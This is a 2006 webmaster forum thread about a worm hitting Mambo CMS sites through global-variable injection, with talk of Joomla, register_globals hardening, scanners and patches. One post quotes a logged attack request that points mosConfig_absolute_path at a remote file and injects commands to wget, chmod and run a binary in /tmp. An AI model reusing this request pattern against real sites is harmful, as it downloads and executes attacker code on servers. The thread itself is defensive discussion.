| 3:17 pm on Feb 21, 2006 (gmt 0)|
is joomla affected?
| 6:15 pm on Feb 21, 2006 (gmt 0)|
I figured there must be some sort of hole in Mambo since I do not even use it but have been seeing lots of requests like this in log files for all of my domains for the last month.
"GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://[edit ip removed]/cmd.gif?&cmd=cd%20/tmp;wget%[edit ip removed]/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;echo¦ HTTP/1.1" 404 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
| 3:11 am on Feb 22, 2006 (gmt 0)|
Same here , whole bunch of requests for /mambo/index2.php?_REQUEST[option...
| 6:01 am on Feb 22, 2006 (gmt 0)|
Down with mambo!
Although worm builder I am not..=)
| 7:44 am on Feb 22, 2006 (gmt 0)|
The track record of security issues is worrysome indeed. Nevertheless next to Typo3 Mambo is one of the most successful open source CMS so far. For many, Mambo is THE alternative if they do not want to spend the time and effort for the steep learning curve Typo3 needs. What I think is needed for Mambo is a completely screened and audited maintenance release to harden all aspects of it. Due to its popularity it is irresponsible to have a high number of compromisable systems out there. In the long run, Mambo and its derivates can only survive if they make a stand against those security issues once and for all.
| 8:04 am on Feb 22, 2006 (gmt 0)|
This worm uses a backdoor that is available in many PHP based systems. If there is no proper check on global variables passed through the URL, it is easy to take over control of these sites. Mambo just happens to have a large installed base and therefore attackers focus on this CMS, but that doesn't mean that others are safe. Joomla just recently released a security update (1.0.6) which fixes six security holes.
The best thing you can do is not only upgrade to the newest version of Mambo/Joomla, but add the following line to php.ini. It will stop PHP programs to use variables injected via the URL, unless the program specifically requests them. It will not only close this hole, but also holes that are not discovered yet.
Remember to test your site after changing this setting, because many PHP based sites rely on the easy way that global information is passed to the internals of PHP when the setting is set to on and the site might stop working properly when register_globals is set to off.
| 9:49 am on Feb 22, 2006 (gmt 0)|
This is not a security flaw in PHP, a properly written script is not vunerable to these types of attacks.
| 3:21 pm on Feb 22, 2006 (gmt 0)|
Every time we change our code, we run Acunetix Web Vulnerability Scanner to make sure our code is still secure from hacking. Web applications are an easy target these days, because even very good programmers are not aware of all the different hacking vulnerabilities out there.
Sometimes you have to get hacked and learn the hard way. That happened on one of the sites we maintain, and we now have learned our lesson and incorporate web vulnerability scanning into our development lifecycle.
| 5:00 pm on Feb 22, 2006 (gmt 0)|
I just downloaded the trial but it only lets you scan their test sites. You need to drop more than a grand to buy the full version which is out of my price range.
Anyone know of an open source or low cost alternative?
| 12:52 am on Feb 28, 2006 (gmt 0)|
Not sure why this is circulating, but these vulnerabilities were patched months ago.
|The vulnerability in Mambo is the one that was fully described on 21 November 2005, when a patch was provided against such exploits. The patch can be applied to any version of Mambo, or any PHP program. |
| 1:09 am on Feb 28, 2006 (gmt 0)|
the xml-rpc was also out months ago, that affected among others wordpress, this is old news.